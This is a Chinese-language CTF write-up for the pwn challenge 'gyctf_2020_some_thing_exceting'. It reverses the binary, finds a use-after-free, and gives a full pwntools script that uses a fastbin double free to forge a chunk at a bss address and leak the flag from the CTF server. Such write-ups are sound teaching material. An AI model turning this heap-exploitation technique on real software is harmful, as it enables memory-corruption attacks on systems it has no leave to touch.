第一次尝试了边做题边写wp,感觉还挺好,因为这样可以使自己思路更开阔,很不错
这个题自己没做出来
原因:ptmalloc管理机制还是不熟悉,没有想起来double free的利用条件(脑子抽了,不知道当时想的什么
逆向和解题中的思路
main函数
r_start函数
可以发现这个函数要求在根目录下有一个flag文件,要不然就exit了,所以本地做题的时候要创建一下
然后还可以发现这个bss段中有个变量貌似很可疑,后期关注下,看看能不能伪造chunk啥的
add函数
这个程序没有edit功能
delete 初步分析是有UAF洞
show
我们直接新建两个堆块,看一下内存分布是什么样子的
from pwn import *
local = 1
if local == 1:
p = process('./gyctf_2020_some_thing_exceting')
else:
p = remote('node3.buuoj.cn',27898)
def add(basize,bacontent,nasize,nacontent):
p.sendlineafter('> Now please tell me what you want to do :','1')
p.sendlineafter('> ba\'s length :',str(basize))
p.sendafter('> ba :',bacontent)
p.sendlineafter('> na\'s length :',str(nasize))
p.sendafter('> na :',nacontent)
def delete(index):
p.sendlineafter('> Now please tell me what you want to do :', '3')
p.sendlineafter('> Banana ID :',index)
def show(index):
p.sendlineafter('> Now please tell me what you want to do :', '4')
p.sendlineafter('> Banana ID : > SCP project ID :',index)
add(0x20,'AAAAAAAA',0x30,'BBBBBBBB')
add(0x10,'aaaaaaaa',0x50,'bbbbbbbb')
pause()
看一下chunk分布
可以初步判定,绿色框框框起来的chunk是管理后面两个ba和na的chunk
但是前面两个非常大的chunk暂时就不知道是用来做什么的了
分布很清晰
刚刚发现,flag被存到了bss的一个数组里面,见r_start函数
而且bss段的分布很有意思
heap[]
byte_6020A0 (96)
s[] (flag)
这个结构后续肯定可以利用
可以看到,free后的数据区域已经被清空
我现在的思路是既然程序本身好像没有漏洞,那么肯定不能向拿shell的思路去进行了
那我们不妨就考虑信息泄漏这个途径,我们可不可以利用double free呢?尝试改写fd指针到byte_6020A0的位置处,然后show打印内容,因为bss段那样的内存分布,一个可以泄漏出flag,本地调试一下
实验一下发现不可取,因为free后将内容清空了
那么还有一个思路是因为我们有堆管理指针,那么我们可不可以改写指针到bss段呢?再度尝试一下
这种思路也失败了,因为发现无法进行溢出,连空字节都无法溢出
思路三:或许之前大chunk里面有可以利用的点,我们不妨看看
好吧,并没有发现什么玄机,我准备看wp了:(
开幕雷击,发现wp利用的是double free,但是在第一个思路里我失败了,本地double free会报错?
oh no 我傻了,double free的利用条件是前后free的两个chunksize要相同,这样在bin里面才会连接起来,cao,我是sb
这样岂不是简单很多了??淦,本来可以自己出的,算了,反正没看exp,自己写exp好了
可以看到已经形成闭环了,至于为啥选0x60,是因为bss段上那个数值是96
已经伪造成功了
exp
from pwn import *
#context.log_level = 'debug'
local = 0
if local == 1:
p = process('./gyctf_2020_some_thing_exceting')
else:
p = remote('node3.buuoj.cn',27898)
def add(basize,bacontent,nasize,nacontent):
p.sendlineafter('> Now please tell me what you want to do :','1')
p.sendlineafter('> ba\'s length :',str(basize))
p.sendafter('> ba :',bacontent)
p.sendlineafter('> na\'s length :',str(nasize))
p.sendafter('> na :',nacontent)
def delete(index):
p.sendlineafter('> Now please tell me what you want to do :', '3')
p.sendlineafter('> Banana ID :',index)
def show(index):
p.sendlineafter('> Now please tell me what you want to do :', '4')
p.sendlineafter('> Banana ID : > SCP project ID :',index)
add(0x30,'AAAAAAAA',0x50,'BBBBBBBB') #chunk0
add(0x30,'aaaaaaaa',0x50,'bbbbbbbb') #chunk1
delete('0')
delete('1')
delete('0')
bss_6020A0 = 0x6020A0 - 0x8
add(0x50,p64(bss_6020A0),0x50,'A') #chunk2
add(0x50,'B',0x50,'C') #chunk3
show('3')
print(p.recv())
p.interactive()